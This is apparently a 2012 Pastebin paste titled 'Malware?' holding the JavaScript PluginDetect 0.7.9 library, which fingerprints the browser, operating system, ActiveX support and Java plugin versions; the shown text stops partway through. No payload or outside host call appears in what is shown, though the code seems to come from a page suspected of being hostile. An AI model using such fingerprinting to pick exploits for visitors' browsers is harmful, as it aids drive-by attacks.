Want more features on Pastebin? Sign Up, it's FREE!
Guest

Malware?

By: a guest on Dec 1st, 2012  |  syntax: JavaScript  |  size: 70.13 KB  |  views: 637  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var PluginDetect = {
  2.     version: "0.7.9",
  3.     name: "PluginDetect",
  4.     handler: function (c, b, a) {
  5.         return function () {
  6.             c(b, a)
  7.         }
  8.     },
  9.     openTag: "<",
  10.     isDefined: function (b) {
  11.      
  12.  
  13.         return typeof b != "undefined"
  14.     },
  15.     isArray: function (b) {
  16.         return (/array/i).test(Object.prototype.toString.call(b))
  17.     },
  18.     isFunc: function (b) {
  19.         return typeof b == "function"
  20.     },
  21.     isString: function (b) {
  22.         return typeof b == "string"
  23.     },
  24.     isNum: function (b) {
  25.         return typeof b == "number"
  26.     },
  27.     isStrNum: function (b) {
  28.         return (typeof b == "string" && (/\d/).test(b))
  29.     },
  30.     getNumRegx: /[\d][\d\.\_,-]*/,
  31.     splitNumRegx: /[\.\_,-]/g,
  32.     getNum: function (b, c) {
  33.         var d = this,
  34.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  35.         return a ? a[0] : null
  36.     },
  37.     compareNums: function (h, f, d) {
  38.         var e = this,
  39.             c, b, a, g = parseInt;
  40.         if (e.isStrNum(h) && e.isStrNum(f)) {
  41.             if (e.isDefined(d) && d.compareNums) {
  42.                 return d.compareNums(h, f)
  43.             }
  44.             c = h.split(e.splitNumRegx);
  45.             b = f.split(e.splitNumRegx);
  46.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  47.                 if (g(c[a], 10) > g(b[a], 10)) {
  48.                     return 1
  49.                 }
  50.                 if (g(c[a], 10) < g(b[a], 10)) {
  51.                     return -1
  52.                 }
  53.             }
  54.         }
  55.         return 0
  56.     },
  57.     formatNum: function (b, c) {
  58.         var d = this,
  59.             a, e;
  60.         if (!d.isStrNum(b)) {
  61.             return null
  62.         }
  63.         if (!d.isNum(c)) {
  64.             c = 4
  65.         }
  66.         c--;
  67.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  68.         for (a = 0; a < 4; a++) {
  69.             if (/^(0+)(.+)$/.test(e[a])) {
  70.                 e[a] = RegExp.$2
  71.             }
  72.             if (a > c || !(/\d/).test(e[a])) {
  73.                 e[a] = "0"
  74.             }
  75.         }
  76.         return e.slice(0, 4).join(",")
  77.     },
  78.     $$hasMimeType: function (a) {
  79.         return function (c) {
  80.             if (!a.isIE && c) {
  81.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  82.                 for (b = 0; b < d.length; b++) {
  83.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  84.                         f = navigator.mimeTypes[d[b]];
  85.                         e = f ? f.enabledPlugin : 0;
  86.                         if (e && (e.name || e.description)) {
  87.                             return f
  88.                         }
  89.                     }
  90.                 }
  91.             }
  92.             return null
  93.         }
  94.     },
  95.     findNavPlugin: function (l, e, c) {
  96.         var j = this,
  97.             h = new RegExp(l, "i"),
  98.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  99.             k = c ? new RegExp(c, "i") : 0,
  100.             a = navigator.plugins,
  101.             g = "",
  102.             f, b, m;
  103.         for (f = 0; f < a.length; f++) {
  104.             m = a[f].description || g;
  105.             b = a[f].name || g;
  106.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  107.                 if (!k || !(k.test(m) || k.test(b))) {
  108.                     return a[f]
  109.                 }
  110.             }
  111.         }
  112.         return null
  113.     },
  114.     getMimeEnabledPlugin: function (k, m, c) {
  115.         var e = this,
  116.             f, b = new RegExp(m, "i"),
  117.             h = "",
  118.             g = c ? new RegExp(c, "i") : 0,
  119.             a, l, d, j = e.isString(k) ? [k] : k;
  120.         for (d = 0; d < j.length; d++) {
  121.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  122.                 l = f.description || h;
  123.                 a = f.name || h;
  124.                 if (b.test(l) || b.test(a)) {
  125.                     if (!g || !(g.test(l) || g.test(a))) {
  126.                         return f
  127.                     }
  128.                 }
  129.             }
  130.         }
  131.         return 0
  132.     },
  133.     getPluginFileVersion: function (f, b) {
  134.         var h = this,
  135.             e, d, g, a, c = -1;
  136.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  137.             return b
  138.         }
  139.         if (!b) {
  140.             return e
  141.         }
  142.         e = h.formatNum(e);
  143.         b = h.formatNum(b);
  144.         d = b.split(h.splitNumRegx);
  145.         g = e.split(h.splitNumRegx);
  146.         for (a = 0; a < d.length; a++) {
  147.             if (c > -1 && a > c && d[a] != "0") {
  148.                 return b
  149.             }
  150.             if (g[a] != d[a]) {
  151.                 if (c == -1) {
  152.                     c = a
  153.                 }
  154.                 if (d[a] != "0") {
  155.                     return b
  156.                 }
  157.             }
  158.         }
  159.         return e
  160.     },
  161.     AXO: window.ActiveXObject,
  162.     getAXO: function (a) {
  163.         var f = null,
  164.             d, b = this,
  165.             c = {};
  166.         try {
  167.             f = new b.AXO(a)
  168.         } catch (d) {}
  169.         return f
  170.     },
  171.     convertFuncs: function (f) {
  172.         var a, g, d, b = /^[\$][\$]/,
  173.             c = this;
  174.         for (a in f) {
  175.             if (b.test(a)) {
  176.                 try {
  177.                     g = a.slice(2);
  178.                     if (g.length > 0 && !f[g]) {
  179.                         f[g] = f[a](f);
  180.                         delete f[a]
  181.                     }
  182.                 } catch (d) {}
  183.             }
  184.         }
  185.     },
  186.     initObj: function (e, b, d) {
  187.         var a, c;
  188.         if (e) {
  189.             if (e[b[0]] == 1 || d) {
  190.                 for (a = 0; a < b.length; a = a + 2) {
  191.                     e[b[a]] = b[a + 1]
  192.                 }
  193.             }
  194.             for (a in e) {
  195.                 c = e[a];
  196.                 if (c && c[b[0]] == 1) {
  197.                     this.initObj(c, b)
  198.                 }
  199.             }
  200.         }
  201.     },
  202.     initScript: function () {
  203.         var d = this,
  204.             a = navigator,
  205.             h, i = document,
  206.             l = a.userAgent || "",
  207.             j = a.vendor || "",
  208.             b = a.platform || "",
  209.             k = a.product || "";
  210.         d.initObj(d, ["$", d]);
  211.         for (h in d.Plugins) {
  212.             if (d.Plugins[h]) {
  213.                 d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  214.             }
  215.         }
  216.         d.convertFuncs(d);
  217.         d.OS = 100;
  218.         if (b) {
  219.             var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  220.             for (h = g.length - 2; h >= 0; h = h - 2) {
  221.                 if (g[h] && new RegExp(g[h], "i").test(b)) {
  222.                     d.OS = g[h + 1];
  223.                     break
  224.                 }
  225.             }
  226.         };
  227.         d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null;
  228.         d.isIE = new Function("return/*@cc_on!@*/!1")();
  229.         d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  230.         d.ActiveXEnabled = false;
  231.         if (d.isIE) {
  232.             var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  233.             for (h = 0; h < m.length; h++) {
  234.                 if (d.getAXO(m[h])) {
  235.                     d.ActiveXEnabled = true;
  236.                     break
  237.                 }
  238.             }
  239.         };
  240.         d.isGecko = (/Gecko/i).test(k) && (/Gecko\s*\/\s*\d/i).test(l);
  241.         d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null;
  242.         d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  243.         d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  244.         d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  245.         d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
  246.         d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  247.         d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
  248.         d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  249.     },
  250.     init: function (d) {
  251.         var c = this,
  252.             b, d, a = {
  253.                 status: -3,
  254.                 plugin: 0
  255.             };
  256.         if (!c.isString(d)) {
  257.             return a
  258.         }
  259.         if (d.length == 1) {
  260.             c.getVersionDelimiter = d;
  261.             return a
  262.         }
  263.         d = d.toLowerCase().replace(/\s/g, "");
  264.         b = c.Plugins[d];
  265.         if (!b || !b.getVersion) {
  266.             return a
  267.         }
  268.         a.plugin = b;
  269.         if (!c.isDefined(b.installed)) {
  270.             b.installed = null;
  271.             b.version = null;
  272.             b.version0 = null;
  273.             b.getVersionDone = null;
  274.             b.pluginName = d
  275.         }
  276.         c.garbage = false;
  277.         if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") {
  278.             a.status = -2;
  279.             return a
  280.         }
  281.         a.status = 1;
  282.         return a
  283.     },
  284.     fPush: function (b, a) {
  285.         var c = this;
  286.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  287.             a.push(b)
  288.         }
  289.     },
  290.     callArray: function (b) {
  291.         var c = this,
  292.             a;
  293.         if (c.isArray(b)) {
  294.             for (a = 0; a < b.length; a++) {
  295.                 if (b[a] === null) {
  296.                     return
  297.                 }
  298.                 c.call(b[a]);
  299.                 b[a] = null
  300.             }
  301.         }
  302.     },
  303.     call: function (c) {
  304.         var b = this,
  305.             a = b.isArray(c) ? c.length : -1;
  306.         if (a > 0 && b.isFunc(c[0])) {
  307.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  308.         } else {
  309.             if (b.isFunc(c)) {
  310.                 c(b)
  311.             }
  312.         }
  313.     },
  314.     $$isMinVersion: function (a) {
  315.         return function (h, g, d, c) {
  316.             var e = a.init(h),
  317.                 f, b = -1,
  318.                 j = {};
  319.             if (e.status < 0) {
  320.                 return e.status
  321.             }
  322.             f = e.plugin;
  323.             g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  324.             if (f.getVersionDone != 1) {
  325.                 f.getVersion(g, d, c);
  326.                 if (f.getVersionDone === null) {
  327.                     f.getVersionDone = 1
  328.                 }
  329.             }
  330.             a.cleanup();
  331.             if (f.installed !== null) {
  332.                 b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
  333.             };
  334.             return b
  335.         }
  336.     },
  337.     getVersionDelimiter: ",",
  338.     $$getVersion: function (a) {
  339.         return function (g, d, c) {
  340.             var e = a.init(g),
  341.                 f, b, h = {};
  342.             if (e.status < 0) {
  343.                 return null
  344.             };
  345.             f = e.plugin;
  346.             if (f.getVersionDone != 1) {
  347.                 f.getVersion(null, d, c);
  348.                 if (f.getVersionDone === null) {
  349.                     f.getVersionDone = 1
  350.                 }
  351.             }
  352.             a.cleanup();
  353.             b = (f.version || f.version0);
  354.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  355.             return b
  356.         }
  357.     },
  358.     cleanup: function () {
  359.         var a = this;
  360.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  361.             window.CollectGarbage()
  362.         }
  363.     },
  364.     addWinEvent: function (d, c) {
  365.         var e = this,
  366.             a = window,
  367.             b;
  368.         if (e.isFunc(c)) {
  369.             if (a.addEventListener) {
  370.                 a.addEventListener(d, c, false)
  371.             } else {
  372.                 if (a.attachEvent) {
  373.                     a.attachEvent("on" + d, c)
  374.                 } else {
  375.                     b = a["on" + d];
  376.                     a["on" + d] = e.winHandler(c, b)
  377.                 }
  378.             }
  379.         }
  380.     },
  381.     winHandler: function (d, c) {
  382.         return function () {
  383.             d();
  384.             if (typeof c == "function") {
  385.                 c()
  386.             }
  387.         }
  388.     },
  389.     WLfuncs0: [],
  390.     WLfuncs: [],
  391.     runWLfuncs: function (a) {
  392.         var b = {};
  393.         a.winLoaded = true;
  394.         a.callArray(a.WLfuncs0);
  395.         a.callArray(a.WLfuncs);
  396.         if (a.onDoneEmptyDiv) {
  397.             a.onDoneEmptyDiv()
  398.         }
  399.     },
  400.     winLoaded: false,
  401.     $$onWindowLoaded: function (a) {
  402.         return function (b) {
  403.             if (a.winLoaded) {
  404.                 a.call(b)
  405.             } else {
  406.                 a.fPush(b, a.WLfuncs)
  407.             }
  408.         }
  409.     },
  410.     $$onDetectionDone: function (a) {
  411.         return function (h, g, c, b) {
  412.             var d = a.init(h),
  413.                 k, e, j = {};
  414.             if (d.status == -3) {
  415.                 return -1
  416.             }
  417.             e = d.plugin;
  418.             if (!a.isArray(e.funcs)) {
  419.                 e.funcs = []
  420.             }
  421.             if (e.getVersionDone != 1) {
  422.                 k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  423.             }
  424.             if (e.installed != -0.5 && e.installed != 0.5) {
  425.                 a.call(g);
  426.                 return 1
  427.             }
  428.             if (e.NOTF) {
  429.                 a.fPush(g, e.funcs);
  430.                 return 0
  431.             }
  432.             return 1
  433.         }
  434.     },
  435.     div: null,
  436.     divID: "plugindetect",
  437.     divWidth: 50,
  438.     pluginSize: 1,
  439.     emptyDiv: function () {
  440.         var d = this,
  441.             b, h, c, a, f, g;
  442.         if (d.div && d.div.childNodes) {
  443.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  444.                 c = d.div.childNodes[b];
  445.                 if (c && c.childNodes) {
  446.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  447.                         g = c.childNodes[h];
  448.                         try {
  449.                             c.removeChild(g)
  450.                         } catch (f) {}
  451.                     }
  452.                 }
  453.                 if (c) {
  454.                     try {
  455.                         d.div.removeChild(c)
  456.                     } catch (f) {}
  457.                 }
  458.             }
  459.         }
  460.         if (!d.div) {
  461.             a = document.getElementById(d.divID);
  462.             if (a) {
  463.                 d.div = a
  464.             }
  465.         }
  466.         if (d.div && d.div.parentNode) {
  467.             try {
  468.                 d.div.parentNode.removeChild(d.div)
  469.             } catch (f) {}
  470.             d.div = null
  471.         }
  472.     },
  473.     DONEfuncs: [],
  474.     onDoneEmptyDiv: function () {
  475.         var c = this,
  476.             a, b;
  477.         if (!c.winLoaded) {
  478.             return
  479.         }
  480.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  481.             return
  482.         }
  483.         for (a in c) {
  484.             b = c[a];
  485.             if (b && b.funcs) {
  486.                 if (b.OTF == 3) {
  487.                     return
  488.                 }
  489.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  490.                     return
  491.                 }
  492.             }
  493.         }
  494.         for (a = 0; a < c.DONEfuncs.length; a++) {
  495.             c.callArray(c.DONEfuncs)
  496.         }
  497.         c.emptyDiv()
  498.     },
  499.     getWidth: function (c) {
  500.         if (c) {
  501.             var a = c.scrollWidth || c.offsetWidth,
  502.                 b = this;
  503.             if (b.isNum(a)) {
  504.                 return a
  505.             }
  506.         }
  507.         return -1
  508.     },
  509.     getTagStatus: function (m, g, a, b) {
  510.         var c = this,
  511.             f, k = m.span,
  512.             l = c.getWidth(k),
  513.             h = a.span,
  514.             j = c.getWidth(h),
  515.             d = g.span,
  516.             i = c.getWidth(d);
  517.         if (!k || !h || !d || !c.getDOMobj(m)) {
  518.             return -2
  519.         }
  520.         if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  521.             return 0
  522.         }
  523.         if (l >= i) {
  524.             return -1
  525.         }
  526.         try {
  527.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  528.                 if (!m.winLoaded && c.winLoaded) {
  529.                     return 1
  530.                 }
  531.                 if (m.winLoaded && c.isNum(b)) {
  532.                     if (!c.isNum(m.count)) {
  533.                         m.count = b
  534.                     }
  535.                     if (b - m.count >= 10) {
  536.                         return 1
  537.                     }
  538.                 }
  539.             }
  540.         } catch (f) {}
  541.         return 0
  542.     },
  543.     getDOMobj: function (g, a) {
  544.         var f, d = this,
  545.             c = g ? g.span : 0,
  546.             b = c && c.firstChild ? 1 : 0;
  547.         try {
  548.             if (b && a) {
  549.                 d.div.focus()
  550.             }
  551.         } catch (f) {}
  552.         return b ? c.firstChild : null
  553.     },
  554.     setStyle: function (b, g) {
  555.         var f = b.style,
  556.             a, d, c = this;
  557.         if (f && g) {
  558.             for (a = 0; a < g.length; a = a + 2) {
  559.                 try {
  560.                     f[g[a]] = g[a + 1]
  561.                 } catch (d) {}
  562.             }
  563.         }
  564.     },
  565.     insertDivInBody: function (i, g) {
  566.         var f, c = this,
  567.             h = "pd33993399",
  568.             b = null,
  569.             d = g ? window.top.document : window.document,
  570.             a = d.getElementsByTagName("body")[0] || d.body;
  571.         if (!a) {
  572.             try {
  573.                 d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  574.                 b = d.getElementById(h)
  575.             } catch (f) {}
  576.         }
  577.         a = d.getElementsByTagName("body")[0] || d.body;
  578.         if (a) {
  579.             a.insertBefore(i, a.firstChild);
  580.             if (b) {
  581.                 a.removeChild(b)
  582.             }
  583.         }
  584.     },
  585.     insertHTML: function (f, b, g, a, k) {
  586.         var l, m = document,
  587.             j = this,
  588.             p, o = m.createElement("span"),
  589.             n, i;
  590.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  591.         var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  592.         if (!j.isDefined(a)) {
  593.             a = ""
  594.         }
  595.         if (j.isString(f) && (/[^\s]/).test(f)) {
  596.             f = f.toLowerCase().replace(/\s/g, "");
  597.             p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  598.             p += 'style="' + h + 'display:inline;" ';
  599.             for (n = 0; n < b.length; n = n + 2) {
  600.                 if (/[^\s]/.test(b[n + 1])) {
  601.                     p += b[n] + '="' + b[n + 1] + '" '
  602.                 }
  603.             }
  604.             p += ">";
  605.             for (n = 0; n < g.length; n = n + 2) {
  606.                 if (/[^\s]/.test(g[n + 1])) {
  607.                     p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  608.                 }
  609.             }
  610.             p += a + j.openTag + "/" + f + ">"
  611.         } else {
  612.             p = a
  613.         }
  614.         if (!j.div) {
  615.             i = m.getElementById(j.divID);
  616.             if (i) {
  617.                 j.div = i
  618.             } else {
  619.                 j.div = m.createElement("div");
  620.                 j.div.id = j.divID
  621.             }
  622.             j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  623.             if (!i) {
  624.                 j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  625.                 j.insertDivInBody(j.div)
  626.             }
  627.         }
  628.         if (j.div && j.div.parentNode) {
  629.             j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  630.             try {
  631.                 o.innerHTML = p
  632.             } catch (l) {};
  633.             try {
  634.                 j.div.appendChild(o)
  635.             } catch (l) {};
  636.             return {
  637.                 span: o,
  638.                 winLoaded: j.winLoaded,
  639.                 tagName: f,
  640.                 outerHTML: p
  641.             }
  642.         }
  643.         return {
  644.             span: null,
  645.             winLoaded: j.winLoaded,
  646.             tagName: "",
  647.             outerHTML: p
  648.         }
  649.     },
  650.     file: {
  651.         $: 1,
  652.         any: "fileStorageAny999",
  653.         valid: "fileStorageValid999",
  654.         save: function (d, f, c) {
  655.             var b = this,
  656.                 e = b.$,
  657.                 a;
  658.             if (d && e.isDefined(c)) {
  659.                 if (!d[b.any]) {
  660.                     d[b.any] = []
  661.                 }
  662.                 if (!d[b.valid]) {
  663.                     d[b.valid] = []
  664.                 }
  665.                 d[b.any].push(c);
  666.                 a = b.split(f, c);
  667.                 if (a) {
  668.                     d[b.valid].push(a)
  669.                 }
  670.             }
  671.         },
  672.         getValidLength: function (a) {
  673.             return a && a[this.valid] ? a[this.valid].length : 0
  674.         },
  675.         getAnyLength: function (a) {
  676.             return a && a[this.any] ? a[this.any].length : 0
  677.         },
  678.         getValid: function (c, a) {
  679.             var b = this;
  680.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  681.         },
  682.         getAny: function (c, a) {
  683.             var b = this;
  684.             return c && c[b.any] ? b.get(c[b.any], a) : null
  685.         },
  686.         get: function (d, a) {
  687.             var c = d.length - 1,
  688.                 b = this.$.isNum(a) ? a : c;
  689.             return (b < 0 || b > c) ? null : d[b]
  690.         },
  691.         split: function (g, c) {
  692.             var b = this,
  693.                 e = b.$,
  694.                 f = null,
  695.                 a, d;
  696.             g = g ? g.replace(".", "\.") : "";
  697.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  698.             if (e.isString(c) && d.test(c)) {
  699.                 a = (RegExp.$1).split("/");
  700.                 f = {
  701.                     name: a[a.length - 1],
  702.                     ext: RegExp.$2,
  703.                     full: c
  704.                 };
  705.                 a[a.length - 1] = "";
  706.                 f.path = a.join("/")
  707.             }
  708.             return f
  709.         },
  710.         z: 0
  711.     },
  712.     Plugins: {
  713.         java: {
  714.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  715.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  716.             navigator: {
  717.                 a: window.navigator.javaEnabled(),
  718.                 javaEnabled: function () {
  719.                     return this.a
  720.                 },
  721.                 mimeObj: 0,
  722.                 pluginObj: 0
  723.             },
  724.             OTF: null,
  725.             minIEver: 7,
  726.             debug: 0,
  727.             debugEnable: function () {
  728.                 var a = this,
  729.                     b = a.$;
  730.                 a.debug = 1
  731.             },
  732.             isDisabled: {
  733.                 $: 1,
  734.                 DTK: function () {
  735.                     var a = this,
  736.                         c = a.$,
  737.                         b = a.$$;
  738.                     if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
  739.                         return 1
  740.                     }
  741.                     return 0
  742.                 },
  743.                 AXO: function () {
  744.                     var a = this,
  745.                         c = a.$,
  746.                         b = a.$$;
  747.                     return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
  748.                 },
  749.                 navMime: function () {
  750.                     var b = this,
  751.                         d = b.$,
  752.                         c = b.$$,
  753.                         a = c.navigator;
  754.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  755.                         return 1
  756.                     }
  757.                     return 0
  758.                 },
  759.                 navPlugin: function () {
  760.                     var b = this,
  761.                         d = b.$,
  762.                         c = b.$$,
  763.                         a = c.navigator;
  764.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  765.                         return 1
  766.                     }
  767.                     return 0
  768.                 },
  769.                 windowDotJava: function () {
  770.                     var a = this,
  771.                         c = a.$,
  772.                         b = a.$$;
  773.                     if (!window.java) {
  774.                         return 1
  775.                     }
  776.                     if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9) {
  777.                         return 1
  778.                     }
  779.                     return 0
  780.                 },
  781.                 allApplets: function () {
  782.                     var b = this,
  783.                         d = b.$,
  784.                         c = b.$$,
  785.                         a = c.navigator;
  786.                     if (d.OS >= 20) {
  787.                         return 0
  788.                     }
  789.                     if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
  790.                         return 1
  791.                     }
  792.                     if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
  793.                         return 1
  794.                     }
  795.                     return 0
  796.                 },
  797.                 AppletTag: function () {
  798.                     var b = this,
  799.                         d = b.$,
  800.                         c = b.$$,
  801.                         a = c.navigator;
  802.                     return d.isIE ? !a.javaEnabled() : 0
  803.                 },
  804.                 ObjectTag: function () {
  805.                     var a = this,
  806.                         c = a.$,
  807.                         b = a.$$;
  808.                     return c.isIE ? !c.ActiveXEnabled : 0
  809.                 },
  810.                 z: 0
  811.             },
  812.             getVerifyTagsDefault: function () {
  813.                 var a = this,
  814.                     c = a.$,
  815.                     b = [1, 0, 1];
  816.                 if (c.OS >= 20) {
  817.                     return b
  818.                 }
  819.                 if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && c.compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari || c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera < 10)) {
  820.                     b = [1, 1, 1]
  821.                 }
  822.                 return b
  823.             },
  824.             getVersion: function (j, g, i) {
  825.                 var b = this,
  826.                     d = b.$,
  827.                     e, a = b.applet,
  828.                     h = b.verify,
  829.                     k = b.navigator,
  830.                     f = null,
  831.                     l = null,
  832.                     c = null;
  833.                 if (b.getVersionDone === null) {
  834.                     b.OTF = 0;
  835.                     k.mimeObj = d.hasMimeType(b.mimeType);
  836.                     if (k.mimeObj) {
  837.                         k.pluginObj = k.mimeObj.enabledPlugin
  838.                     }
  839.                     if (h) {
  840.                         h.begin()
  841.                     }
  842.                 }
  843.                 a.setVerifyTagsArray(i);
  844.                 d.file.save(b, ".jar", g);
  845.                 if (b.getVersionDone === 0) {
  846.                     if (a.should_Insert_Query_Any()) {
  847.                         e = a.insert_Query_Any();
  848.                         b.setPluginStatus(e[0], e[1], f)
  849.                     }
  850.                     return
  851.                 }
  852.                 if ((!f || b.debug) && b.DTK.query().version) {
  853.                     f = b.DTK.version
  854.                 }
  855.                 if ((!f || b.debug) && b.navMime.query().version) {
  856.                     f = b.navMime.version
  857.                 }
  858.                 if ((!f || b.debug) && b.navPlugin.query().version) {
  859.                     f = b.navPlugin.version
  860.                 }
  861.                 if ((!f || b.debug) && b.AXO.query().version) {
  862.                     f = b.AXO.version
  863.                 }
  864.                 if (b.nonAppletDetectionOk(f)) {
  865.                     c = f
  866.                 }
  867.                 if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
  868.                     e = b.lang.System.getProperty();
  869.                     if (e[0]) {
  870.                         f = e[0];
  871.                         c = e[0];
  872.                         l = e[1]
  873.                     }
  874.                 }
  875.                 b.setPluginStatus(c, l, f);
  876.                 if (a.should_Insert_Query_Any()) {
  877.                     e = a.insert_Query_Any();
  878.                     if (e[0]) {
  879.                         c = e[0];
  880.                         l = e[1]
  881.                     }
  882.                 }
  883.                 b.setPluginStatus(c, l, f)
  884.             },
  885.             nonAppletDetectionOk: function (b) {
  886.                 var d = this,
  887.                     e = d.$,
  888.                     a = d.navigator,
  889.                     c = 1;
  890.                 if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
  891.                     c = 0
  892.                 } else {
  893.                     if (e.OS >= 20) {} else {
  894.                         if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  895.                             c = 0
  896.                         }
  897.                     }
  898.                 }
  899.                 return c
  900.             },
  901.             setPluginStatus: function (d, f, a) {
  902.                 var c = this,
  903.                     e = c.$,
  904.                     b;
  905.                 a = a || c.version0;
  906.                 if (c.OTF > 0) {
  907.                     d = d || c.lang.System.getProperty()[0]
  908.                 }
  909.                 if (c.OTF < 3) {
  910.                     b = d ? 1 : (a ? -0.2 : -1);
  911.                     if (c.installed === null || b > c.installed) {
  912.                         c.installed = b
  913.                     }
  914.                 }
  915.                 if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
  916.                     c.installed = a ? -0.2 : -1
  917.                 };
  918.                 if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
  919.                     c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
  920.                 }
  921.                 if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
  922.                     if (d) {
  923.                         c.installed = 1
  924.                     } else {
  925.                         if (c.NOTF.isJavaActive(1) == 1) {
  926.                             if (a) {
  927.                                 c.installed = 1;
  928.                                 d = a
  929.                             } else {
  930.                                 c.installed = 0
  931.                             }
  932.                         } else {
  933.                             if (a) {
  934.                                 c.installed = -0.2
  935.                             } else {
  936.                                 c.installed = -1
  937.                             }
  938.                         }
  939.                     }
  940.                 };
  941.                 if (a) {
  942.                     c.version0 = e.formatNum(e.getNum(a))
  943.                 }
  944.                 if (d) {
  945.                     c.version = e.formatNum(e.getNum(d))
  946.                 }
